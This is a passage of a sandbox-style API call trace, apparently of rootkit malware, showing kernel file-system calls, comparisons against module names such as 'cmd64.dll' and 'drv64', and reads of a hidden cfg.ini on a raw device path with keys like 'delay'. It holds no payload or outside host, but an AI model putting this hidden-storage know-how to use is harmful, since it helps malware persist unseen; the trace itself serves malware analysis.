returned 1 [0121.791] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.791] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.791] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.791] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.791] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.791] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.791] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.791] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.791] KeLeaveCriticalRegion () [0121.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.792] ReleaseMutex (hMutex=0x100) returned 1 [0121.792] Sleep (dwMilliseconds=0x2bf20) [0121.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bcc07d0, dwHighDateTime=0x1d24fa4)) [0121.798] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.799] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.799] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.799] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.799] KeEnterCriticalRegion () [0121.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.799] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.799] IdePortDispatch () returned 0x103 [0121.799] KeWaitForMutexObject () returned 0x0 [0121.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.799] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.799] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.799] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.799] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.799] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6b70 [0121.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.799] KeLeaveCriticalRegion () [0121.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.799] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.799] KeEnterCriticalRegion () [0121.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.799] KeLeaveCriticalRegion () [0121.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.799] KeEnterCriticalRegion () [0121.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.800] IdePortDispatch () returned 0x103 [0121.800] KeWaitForMutexObject () returned 0x0 [0121.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.800] KeLeaveCriticalRegion () [0121.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.800] KeEnterCriticalRegion () [0121.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.800] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd5000 [0121.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.800] IdePortDispatch () returned 0x103 [0121.800] KeWaitForMutexObject () returned 0x0 [0121.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.800] IdePortDispatch () returned 0x103 [0121.800] KeWaitForMutexObject () returned 0x0 [0121.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.801] KeLeaveCriticalRegion () [0121.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.801] KeEnterCriticalRegion () [0121.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.801] KeLeaveCriticalRegion () [0121.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.801] KeEnterCriticalRegion () [0121.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.801] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.801] KeLeaveCriticalRegion () [0121.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.801] KeEnterCriticalRegion () [0121.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.802] ExFreePoolWithTag (P=0xfffffa8003bc6b70, Tag=0x0) [0121.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.802] KeLeaveCriticalRegion () [0121.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.802] ReleaseMutex (hMutex=0xf0) returned 1 [0121.802] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.802] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.802] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.802] KeEnterCriticalRegion () [0121.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.802] IdePortDispatch () returned 0x103 [0121.802] KeWaitForMutexObject () returned 0x0 [0121.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.802] KeLeaveCriticalRegion () [0121.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.802] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.802] KeEnterCriticalRegion () [0121.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.803] KeLeaveCriticalRegion () [0121.803] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.803] KeEnterCriticalRegion () [0121.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.803] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.803] IdePortDispatch () returned 0x103 [0121.803] KeWaitForMutexObject () returned 0x0 [0121.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.803] KeLeaveCriticalRegion () [0121.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.803] KeEnterCriticalRegion () [0121.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd6000 [0121.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.803] IdePortDispatch () returned 0x103 [0121.804] KeWaitForMutexObject () returned 0x0 [0121.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.804] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.804] IdePortDispatch () returned 0x103 [0121.804] KeWaitForMutexObject () returned 0x0 [0121.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.804] KeLeaveCriticalRegion () [0121.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.805] KeEnterCriticalRegion () [0121.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] KeLeaveCriticalRegion () [0121.805] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.805] KeEnterCriticalRegion () [0121.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.805] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] KeLeaveCriticalRegion () [0121.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.805] KeEnterCriticalRegion () [0121.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] KeLeaveCriticalRegion () [0121.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.805] ReleaseMutex (hMutex=0xf0) returned 1 [0121.805] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.805] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.805] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.805] KeEnterCriticalRegion () [0121.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.805] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.805] IdePortDispatch () returned 0x103 [0121.806] KeWaitForMutexObject () returned 0x0 [0121.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.806] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.806] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.806] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.806] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.806] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6b70 [0121.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.806] KeLeaveCriticalRegion () [0121.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.806] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.806] KeEnterCriticalRegion () [0121.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.806] KeLeaveCriticalRegion () [0121.806] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.806] KeEnterCriticalRegion () [0121.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.806] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.806] IdePortDispatch () returned 0x103 [0121.806] KeWaitForMutexObject () returned 0x0 [0121.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.806] KeLeaveCriticalRegion () [0121.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.807] KeEnterCriticalRegion () [0121.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd7000 [0121.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.807] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.807] IdePortDispatch () returned 0x103 [0121.807] KeWaitForMutexObject () returned 0x0 [0121.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.807] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.807] IdePortDispatch () returned 0x103 [0121.807] KeWaitForMutexObject () returned 0x0 [0121.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.807] KeLeaveCriticalRegion () [0121.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.808] KeEnterCriticalRegion () [0121.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] KeLeaveCriticalRegion () [0121.808] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.808] KeEnterCriticalRegion () [0121.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.808] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] KeLeaveCriticalRegion () [0121.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.808] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.808] KeEnterCriticalRegion () [0121.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] ExFreePoolWithTag (P=0xfffffa8003bc6b70, Tag=0x0) [0121.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] KeLeaveCriticalRegion () [0121.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.808] ReleaseMutex (hMutex=0xf0) returned 1 [0121.808] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.808] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.808] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.808] KeEnterCriticalRegion () [0121.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | 